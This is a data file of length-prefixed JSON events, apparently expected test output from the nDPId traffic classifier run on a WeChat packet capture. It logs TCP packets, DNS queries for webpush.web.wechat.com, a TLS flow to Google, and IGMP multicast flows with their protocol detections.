+00426{"flow_id":97,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1594,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":780251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R75AAEAGr3DAqAFnX2UiIYi4AFDlnJriImFMS4ARCdyCMQAAAQEICgA\/URNr6XGp"} +00428{"flow_id":95,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1595,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":792219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/7JAAEAG93vAqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyPkEAAAAQEICgA\/URZr6XAp"} +00428{"flow_id":102,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1596,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":796227,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00nxAAEAGJLHAqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU63QQAAAQEICgA\/URdwfJTZ"} +00427{"flow_id":101,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1597,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":812229,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JkdAAEAG0OfAqAFnX2UiIYilAFA23DHogeAL9oARBaR5hAAAAQEICgA\/URtr6Xcq"} +00426{"flow_id":96,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1598,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":844278,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqhAAEAGaIbAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaRciQAAAQEICgA\/USNr6XCp"} +00426{"flow_id":99,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1599,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171177,"pkt_ts_usec":844343,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA026BAAEAGiPvAqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJf0TAAAAQEICgA\/USMc0iJk"} +00428{"flow_id":100,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1600,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":268260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0e6FAAEAGnZrAqAFny82Tq+NyAbsh7o58Fu1nsYARAOWzegAAAQEICgA\/UY1F3\/Tx"} +00426{"flow_id":94,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1601,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":656277,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01BtAAEAGIxLAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgvWFAAAAQEICgA\/Ue5wfB+e"} +00426{"flow_id":98,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1602,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":692258,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRpAAEAG2hPAqAFnX2UiIpknAFAjQjGaFOMj7IARBf66+AAAAQEICgA\/UfdwfIhZ"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1603,"source":"wechat.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1492171178741,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":56367,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":105,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1603,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":741406,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABE+rRAAEARuz7AqAFnwKgB\/twvADUAMPgq0wUBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20AAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1603,"source":"wechat.pcap","alias":"nDPId-test","flow_id":105,"flow_packet_id":1,"flow_first_seen":1492171178741,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":56367,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WeChat","breed":"Fun","category":"Chat"},"dns": {"query":"webpush.web.wechat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"flow_id":97,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1604,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":788233,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R79AAEAGr2\/AqAFnX2UiIYi4AFDlnJriImFMS4ARCdyBNQAAAQEICgA\/Ug9r6XGp"} +00428{"flow_id":95,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1605,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":820238,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/7NAAEAG93rAqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyPjDwAAAQEICgA\/Uhdr6XAp"} +00428{"flow_id":102,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1606,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":824231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00n1AAEAGJLDAqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU62QAAAAQEICgA\/UhhwfJTZ"} +00427{"flow_id":101,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1607,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":856224,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JkhAAEAG0ObAqAFnX2UiIYilAFA23DHogeAL9oARBaR4fwAAAQEICgA\/UiBr6Xcq"} +00426{"flow_id":96,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1608,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":920224,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqlAAEAGaIXAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaRbfAAAAQEICgA\/UjBr6XCp"} +00426{"flow_id":99,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1609,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171178,"pkt_ts_usec":920265,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA026FAAEAGiPrAqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJfzPwAAAQEICgA\/UjAc0iJk"} +00427{"flow_id":100,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1610,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171180,"pkt_ts_usec":48223,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0e6JAAEAGnZnAqAFny82Tq+NyAbsh7o58Fu1nsYARAOWxvQAAAQEICgA\/U0pF3\/Tx"} +00426{"flow_id":94,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1611,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171180,"pkt_ts_usec":548257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01BxAAEAGIxHAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgvUOwAAAQEICgA\/U8dwfB+e"} +00426{"flow_id":98,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1612,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171180,"pkt_ts_usec":616237,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRtAAEAG2hLAqAFnX2UiIpknAFAjQjGaFOMj7IARBf65FwAAAQEICgA\/U9hwfIhZ"} +00427{"flow_id":97,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1613,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171180,"pkt_ts_usec":808232,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R8BAAEAGr27AqAFnX2UiIYi4AFDlnJriImFMS4ARCdx\/PAAAAQEICgA\/VAhr6XGp"} +00428{"flow_id":95,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1614,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171180,"pkt_ts_usec":872249,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/7RAAEAG93nAqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyPhDgAAAQEICgA\/VBhr6XAp"} +00429{"flow_id":102,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1615,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171180,"pkt_ts_usec":880250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00n5AAEAGJK\/AqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU60PgAAAQEICgA\/VBpwfJTZ"} +00427{"flow_id":101,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1616,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171180,"pkt_ts_usec":944260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JklAAEAG0OXAqAFnX2UiIYilAFA23DHogeAL9oARBaR2dQAAAQEICgA\/VCpr6Xcq"} +00425{"flow_id":96,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1617,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171181,"pkt_ts_usec":72232,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqpAAEAGaITAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaRZYgAAAQEICgA\/VEpr6XCp"} +00425{"flow_id":99,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1618,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171181,"pkt_ts_usec":72282,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA026JAAEAGiPnAqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJfxJQAAAQEICgA\/VEoc0iJk"} +00428{"flow_id":100,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1619,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171183,"pkt_ts_usec":608236,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0e6NAAEAGnZjAqAFny82Tq+NyAbsh7o58Fu1nsYARAOWuQwAAAQEICgA\/VsRF3\/Tx"} +00452{"flow_id":105,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1620,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171183,"pkt_ts_usec":746494,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABE\/1xAAEARtpbAqAFnwKgB\/twvADUAMPgq0wUBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20AAAEAAQ=="} +00426{"flow_id":94,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1621,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171184,"pkt_ts_usec":328219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA01B1AAEAGIxDAqAFnX2UiIpkbAFBTLvPZ9eqaX4ARCgvQigAAAQEICgA\/V3hwfB+e"} +00426{"flow_id":98,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1622,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171184,"pkt_ts_usec":464226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0HRxAAEAG2hHAqAFnX2UiIpknAFAjQjGaFOMj7IARBf61VQAAAQEICgA\/V5pwfIhZ"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1623,"source":"wechat.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1492171184747,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":33915,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":106,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1623,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171184,"pkt_ts_usec":747647,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"8IQvSpdgeJKcD6iOCABFAABEAC1AAEARtcbAqAFnwKgB\/oR7ADUAMLAAcuQBAAABAAAAAAAAB3dlYnB1c2gDd2ViBndlY2hhdANjb20AAAEAAQ=="} +00642{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1623,"source":"wechat.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1492171184747,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":33915,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.WeChat","breed":"Fun","category":"Chat"},"dns": {"query":"webpush.web.wechat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00427{"flow_id":97,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1624,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171184,"pkt_ts_usec":848234,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0R8FAAEAGr23AqAFnX2UiIYi4AFDlnJriImFMS4ARCdx7SgAAAQEICgA\/V\/pr6XGp"} +00428{"flow_id":95,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1625,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171184,"pkt_ts_usec":984241,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0\/7VAAEAG93jAqAFnX2UiIYi0AFB\/4ffl18M9+4ARCyPdCgAAAQEICgA\/WBxr6XAp"} +00428{"flow_id":102,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1626,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171184,"pkt_ts_usec":984295,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA00n9AAEAGJK7AqAFnX2UiIpk\/AFBMVGJQaE9vZoARBU6wPAAAAQEICgA\/WBxwfJTZ"} +00427{"flow_id":101,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1627,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171185,"pkt_ts_usec":112223,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0JkpAAEAG0OTAqAFnX2UiIYilAFA23DHogeAL9oARBaRyYwAAAQEICgA\/WDxr6Xcq"} +00426{"flow_id":96,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1628,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171185,"pkt_ts_usec":368262,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0jqtAAEAGaIPAqAFnX2UiIYi3AFBZ1tli3d8I5IARBaRVMAAAAQEICgA\/WHxr6XCp"} +00426{"flow_id":99,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1629,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171185,"pkt_ts_usec":368325,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA026NAAEAGiPjAqAFnX2W0s8s0AFCaGNVHW3dgu4ARJJfs8wAAAQEICgA\/WHwc0iJk"} +00507{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1492171175912,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.131","src_port":58143,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Google","breed":"Unrated","category":"Web"}} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","flow_id":93,"flow_packet_id":1,"flow_first_seen":1492171175912,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.131","src_port":58143,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","flow_id":104,"flow_packet_id":1,"flow_first_seen":1492171177429,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":43317,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1492171176772,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":58165,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1492171184747,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"192.168.1.254","src_port":33915,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1492171203806,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00407{"flow_id":107,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171203,"pkt_ts_usec":806188,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":50,"pkt_l4_len":12,"pkt":"AQBeAAAB8IQvSpdgCABGoAAkj\/YAAAEC8ZXAqAH+4AAAAZQEAAARZOybAAAAAAIAAAA="} +00469{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1630,"source":"wechat.pcap","alias":"nDPId-test","flow_id":107,"flow_packet_id":1,"flow_first_seen":1492171203806,"flow_last_seen":0,"flow_tot_l4_data_len":12,"flow_min_l4_data_len":12,"flow_max_l4_data_len":12,"flow_avg_l4_data_len":12,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.254","dst_ip":"224.0.0.1","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00438{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1631,"source":"wechat.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1492171205448,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00410{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1631,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492171205,"pkt_ts_usec":448234,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":54,"pkt_l4_len":16,"pkt":"AQBeAAAWeJKcD6iOCABGwAAoAABAAAECQerAqAFn4AAAFpQEAAAiAPsCAAAAAQIAAADgAAD7"} +00470{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1631,"source":"wechat.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1492171205448,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"224.0.0.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00438{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1632,"source":"wechat.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1492171206877,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"224.0.0.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} 